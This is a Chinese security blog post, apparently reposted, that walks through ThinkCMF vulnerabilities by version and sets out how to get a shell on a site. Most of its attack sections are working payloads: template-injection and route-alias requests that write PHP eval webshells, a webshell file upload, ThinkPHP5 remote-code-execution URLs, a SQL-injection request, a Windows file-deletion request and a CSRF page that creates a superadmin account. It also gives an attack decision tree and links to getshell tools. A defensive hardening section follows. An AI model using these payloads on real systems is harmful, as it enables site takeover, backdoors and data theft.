ThinkCMF漏洞全解析:从版本识别到Getshell的实战指南

admin 2026-07-13 05:01:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统梳理了ThinkCMF内容管理系统从X系列到6.x版本的已知漏洞,包括前台模板注入、后台路由注入、Ueditor文件上传及底层框架RCE等,每个漏洞均标注了CVE编号、影响版本和官方修复状态。文章提供了详细的利用路径和防御方案,强调版本识别的重要性,并指出X系列前台模板注入无需认证即可实现任意代码执行,是最高危漏洞。建议用户及时升级至修复版本以防范攻击。 综合评分: 95 文章分类: 渗透测试,漏洞分析,红队,WEB安全,安全工具


cover_image

ThinkCMF漏洞全解析:从版本识别到Getshell的实战指南

原创

simeon的文章 simeon的文章

小兵搞安全

2026年7月11日 07:39 北京

在小说阅读器读本章

去阅读

一个CMS,三个大版本,十余个CVE。本文带你系统梳理ThinkCMF那些年被确认的漏洞,附完整利用路径和防御方案。

写在前面

做渗透测试的朋友,大概率遇到过ThinkCMF。

这个基于ThinkPHP开发的内容管理系统,在国内有着不小的装机量。从早期的X系列到后来的5.x、6.x,每个版本都留下过一些”经典”漏洞。

但网上的文章要么零散、要么没验证过,用起来心里没底。

今天这篇文章,我把ThinkCMF的已知漏洞做了一次系统梳理——每一个都标注了CVE编号、影响版本和官方修复状态,不搞道听途说,只讲经过交叉验证的内容。

第一步:版本识别——先搞清楚你面对的是什么

打之前,先认版本。不同版本的攻击路径完全不同。

识别技巧:

  • 直接访问 /README.md——能读到内容的,基本就是X系列(老版本,大概率能打)
  • 访问 /admin——蓝色页面的,是5.x系列
  • 看Logo——黄色标识的,是3.x系列
  • 查看响应头和特征文件,也能辅助判断

搞清楚版本,后面的攻击路径才能选对。

第二部分:已确认的Getshell漏洞

以下漏洞均经过CVE数据库、官方公告、安全研究者实测报告三方交叉验证。

漏洞一:前台模板注入(X系列,无需认证)

这是ThinkCMF最经典的漏洞,没有之一。

影响版本: ThinkCMF X1.6.0 ~ X2.2.3CVSS评分: 9.8(Critical)官方修复: X2.2.4(公告地址:https://www.thinkcmf.com/topic/10019.html)

原理简述

ThinkCMF基于ThinkPHP 3.2.3开发,控制器继承自 HomebaseController。问题出在这个类的 display() 和 fetch() 方法——它们被声明为了 public

这意味着什么?攻击者可以通过URL的 a 参数,直接调用这两个方法。

  • display($templateFile):没有过滤文件路径,可以读取任意文件
  • fetch($templateFile, $content, $prefix)$content 参数直接传入Smarty模板引擎解析,<php> 标签中的代码会被执行

一句话总结:公开的fetch方法 + 未经过滤的content参数 = 任意代码执行。

漏洞代码

// application/Common/Controller/HomebaseController.class.php

// display函数 - 未过滤$templateFile,导致任意文件包含
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
&nbsp; &nbsp; parent::display($this->parseTemplate($templateFile), $charset, $contentType, $content, $prefix);
}

// fetch函数 - $content参数直接传入模板引擎,可执行PHP代码
public function fetch($templateFile='', $content='', $prefix=''){
&nbsp; &nbsp; $templateFile = empty($content) ? $this->parseTemplate($templateFile) : '';
&nbsp; &nbsp; return parent::fetch($templateFile, $content, $prefix);
}

利用方式

方式一:通过Comment/Widget/fetch(POST)

POST /index.php?g=Comment&m=Widget&a=fetch HTTP/1.1
Content-Type: application/x-www-form-urlencoded

templateFile=/../public/index
prefix=''
content=<php>file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>')</php>

方式二:通过Api/Plugin/fetch(POST)

POST /index.php?g=Api&m=Plugin&a=fetch HTTP/1.1
Content-Type: application/x-www-form-urlencoded

templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>')</php>

方式三:GET方式简化利用

# 验证漏洞存在(读取README)
/?a=display&templateFile=README.md

# 写入phpinfo验证
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('info.php','<?php phpinfo();?>')</php>

# 写入一句话木马
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('webshell.php','<?php @eval($_POST[cmd]);?>')</php>

templateFile路径字典

当默认路径报错时,可以尝试以下路径:

/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Demo/View/admin_index
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/zh-cn/index

小提示:入口2(Api/Plugin)路径需多加一层 ../

修复方式

官方在X2.2.4中将 display() 和 fetch() 的修饰符从 public 改为了 protected。就这一行改动,直接堵死了这条攻击路径。

漏洞二:后台路由注入Getshell(5.x系列)

影响版本: ThinkCMF ≤ 5.0.190111CVE编号: CVE-2019-6713、CVE-2019-7580官方修复版本: 5.0.190419官方公告:https://www.thinkcmf.com/topic/10374.html

原理简述

后台添加分类时,alias(别名)参数没有过滤单引号,直接被存入数据库。

关键在于:系统在生成路由配置文件 data/conf/route.php 时,会把数据库中的路由数据写入这个PHP文件。

于是,恶意的alias被写进了PHP文件 → 访问任意页面触发路由加载 → 代码执行。

调用链:

AdminCategoryController::addPost()
&nbsp; → portalCategoryModel::addCategory()
&nbsp; &nbsp; → RouteModel::setRoute() &nbsp; &nbsp; &nbsp;// alias写入数据库(未过滤)
&nbsp; &nbsp; → RouteModel::getRoutes(true) // 读取所有路由
&nbsp; &nbsp; &nbsp; → 生成 data/conf/route.php &nbsp;// 恶意代码写入PHP文件

利用方式

  1. 登录后台 → 门户 → 分类管理 → 添加分类

在”别名”字段注入:

  1. ‘);phpinfo();//
  2. 提交后访问任意页面触发路由加载,代码执行

进一步利用可写入Webshell:

  1. ‘);file_put_contents(‘shell.php’,’<?php @eval($_POST[cmd]);?>‘);//

注意:这个漏洞需要后台权限,所以通常配合其他漏洞(如CSRF创建管理员)先拿到后台入口。

漏洞三:Ueditor文件上传

影响版本:

  • X系列 ≤ 2.2.3(社区发现)
  • 6.0.9(CVE-2024-31615,CVSS 9.8 Critical)

X2.x系列的上传漏洞

漏洞原理:UeditorController.class.php 中,sp_get_upload_setting() 返回的是数组而非字符串,导致 explode(',', $upload_setting[$filetype]) 执行后 $allowed_exts 为空——后缀名校验直接失效。

# 前提:需前台注册账号并登录
POST /index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[cmd]);?>
------WebKitFormBoundary--

Webshell路径:/data/upload/ueditor/20190724/xxxxx.php

6.0.9版本的上传漏洞

CVE-2024-31615,描述为”ThinkCMF 6.0.9 is vulnerable to File upload via UeditorController.php”。这是一个2024年才被披露的CVE,说明即使是较新的版本,Ueditor组件依然可能存在问题。


漏洞四:ThinkPHP5底层RCE(5.x系列继承漏洞)

影响版本: 基于ThinkPHP 5.x的ThinkCMF 5.x(TP5 < 5.1.31 或 < 5.0.23)

这不是ThinkCMF自身的漏洞,而是底层框架ThinkPHP 5.x的通病。ThinkCMF 5.x直接继承了这个问题。

利用方式

# 执行phpinfo验证
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

# 写入Webshell
/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[cmd]);?>

第三部分:辅助漏洞——不直接Getshell,但能帮你拿到入口

有些漏洞本身不能直接写Shell,但可以作为攻击链的一环,帮你拿到后台权限或管理员凭据。

SQL注入系列(X系列)

影响版本: ThinkCMF X ≤ 2.2.3

这是一组SQL注入漏洞,涉及多个控制器,均有独立CVE:

  • CVE-2018-19894:ArticleController::edit_post,参数 postid
  • CVE-2018-19895:AdminbaseController::_listorders,参数 listorderskey
  • CVE-2018-19896:CommentController::check,参数 ids[]
  • CVE-2018-19897:PortalController相关
  • CVE-2018-19898:其他控制器

利用思路: SQL注入 → 获取管理员密码 → 登录后台 → 路由注入/模板编辑Getshell

示例Payload:

POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1

term:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

任意文件删除(CVE-2018-16141)

影响版本: ThinkCMF X2.2.3限制条件: 仅Windows系统有效

漏洞位置在 ProfileController.class.php 的 do_avatar 方法。imgurl 参数过滤了 / 但没过滤 \,Windows路径解析可以利用 ..\ 序列删除任意文件。

POST /index.php?g=User&m=Profile&a=do_avatar HTTP/1.1

imgurl=..\..\..\..\..\1.txt

CSRF创建超级管理员(CVE-2022-40489)

影响版本: ThinkCMF < 6.0.8CVSS: 8.8 High

这个漏洞的思路是:通过CSRF诱导管理员访问恶意页面,自动创建一个超级管理员账户。拿到后台权限后,再利用路由注入或模板编辑Getshell。

<html>
<body>
<h1>CSRF - SuperAdmin User Creation</h1>
<form action="http://target/admin/user/addpost.html" method="POST">
&nbsp; <input type="hidden" name="user_login" value="SuperAdmin" />
&nbsp; <input type="hidden" name="user_pass" value="SuperAdmin999qweasd" />
&nbsp; <input type="hidden" name="user_email" value="[email protected]" />
&nbsp; <input type="hidden" name="role_id[]" value="2" />
&nbsp; <input type="hidden" name="role_id[]" value="1" />
&nbsp; <input type="submit" value="Submit" />
</form>
</body>
</html>

其他已确认漏洞

  • 存储型XSS(CVE-2022-40849):影响ThinkCMF 6.0.7,位于轮播图管理
  • 越权修改密码(CVE-2021-40616):影响v5.1.7,CVSS 6.5,可修改管理员账户密码

第四部分:实战决策树

面对一个ThinkCMF目标,攻击路径怎么选?按下面的决策树来:

目标:ThinkCMF Getshell
│
├── 步骤1:版本识别
│ &nbsp; ├── /README.md可读 → X系列(优先打模板注入)
│ &nbsp; ├── /admin蓝色页面 → 5.x系列
│ &nbsp; └── 黄色Logo → 3.x系列
│
├── 步骤2:选择攻击路径
│ &nbsp; │
│ &nbsp; ├── X系列(X1.6.0 ~ X2.2.3)
│ &nbsp; │ &nbsp; ├── 首选:前台模板注入(无需认证)
│ &nbsp; │ &nbsp; ├── 次选:Ueditor文件上传(需前台登录)
│ &nbsp; │ &nbsp; └── 辅助:SQL注入获取管理员密码
│ &nbsp; │
│ &nbsp; ├── 5.x系列(≤ 5.0.190111)
│ &nbsp; │ &nbsp; ├── 首选:ThinkPHP5 RCE(无需认证)
│ &nbsp; │ &nbsp; ├── 次选:后台路由注入(需后台权限)
│ &nbsp; │ &nbsp; └── 辅助:CSRF创建管理员
│ &nbsp; │
│ &nbsp; └── 6.x系列(< 6.0.8)
│ &nbsp; &nbsp; &nbsp; ├── 首选:CSRF创建管理员
│ &nbsp; &nbsp; &nbsp; └── 次选:Ueditor文件上传(6.0.9)
│
└── 步骤3:验证漏洞存在性
&nbsp; &nbsp; ├── X系列:/?a=display&templateFile=README.md
&nbsp; &nbsp; │ &nbsp; └── 返回README内容 = 漏洞存在
&nbsp; &nbsp; └── 5.x系列:尝试TP5 RCE Payload

第五部分:自动化检测工具

| | | | | — | — | — | | 工具 | 适用版本 | 地址 | | jas502n/ThinkCMF_getshell | X系列 | https://github.com/jas502n/ThinkCMF_getshell | | Tas9er/ThinkCMFGetShell | X系列 | https://github.com/Tas9er/ThinkCMFGetShell | | theLSA/tp5-getshell | 5.x系列 | https://github.com/theLSA/tp5-getshell |

第六部分:防御加固方案

紧急措施(已存在漏洞时)

1. 升级版本

  • X系列:升级到X2.2.4或迁移到5.x/6.x
  • 5.x系列:升级到5.0.190419+或5.1.5+
  • 6.x系列:升级到6.0.8+

2. 临时加固

  • 将 HomebaseController.class.php 和 AdminbaseController.class.php 中 display() 和 fetch() 改为 protected
  • 删除 data/conf/route.php 中的可疑代码
  • 检查 data/upload/ 目录是否有异常PHP文件

3. 文件权限

  • 除 data 目录外,其他目录设置为只读
  • dataapplicationsimplewindpluginsthemes 目录禁止PHP文件外部访问

长期加固

4. PHP配置

  • 禁用危险函数:execshell_execsystempassthrupopenproc_open
  • 设置 open_basedir 限制PHP目录访问

5. WAF规则

  • 拦截 <php>file_put_contentsevalsystem 等特征
  • 拦截URL中的 ?a=fetch?a=display 模式(X系列)
  • 拦截路由参数中的命名空间特征(5.x系列)

6. 代码审计

  • 检查所有 fetch()display() 调用,确认参数经过白名单校验
  • 禁用Smarty的 {php} 标签
  • 模板缓存目录禁止写入权限

7. 日志监控

  • 监控异常文件写入行为
  • 监控 route.php 文件修改
  • 记录所有模板渲染请求

写在最后

ThinkCMF的漏洞史,某种程度上也是国内CMS安全的一个缩影。

从X系列的模板注入,到5.x的路由注入,再到6.x的Ueditor上传——每一代都在重复”组件引入→校验缺失→漏洞爆发→修复”的循环。

对安全从业者来说,版本识别是第一步,选对攻击路径是第二步,验证漏洞存在性才是第三步。不要拿着一个Payload blindly打,先搞清楚你在面对什么。

对开发者来说,public 和 protected 的一字之差,可能就是Webshell和安全的距离。


参考来源:

  • ThinkCMF X2.2.4修复公告:https://www.thinkcmf.com/topic/10019.html
  • ThinkCMF 5.0/5.1 Getshell修复通知:https://www.thinkcmf.com/topic/10374.html
  • OpenCVE ThinkCMF漏洞列表:https://app.opencve.io/cve/?vendor=thinkcmf
  • 安全脉搏:https://www.secpulse.com/archives/146498.html
  • Mochazz漏洞分析合集:https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集/

本文仅用于安全研究与授权测试,请遵守相关法律法规。

觉得有用?欢迎加入微信交流群 ,一起交流安全技术。

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小兵搞安全 simeon的文章 simeon的文章《ThinkCMF漏洞全解析:从版本识别到Getshell的实战指南》

    评论:0   参与:  0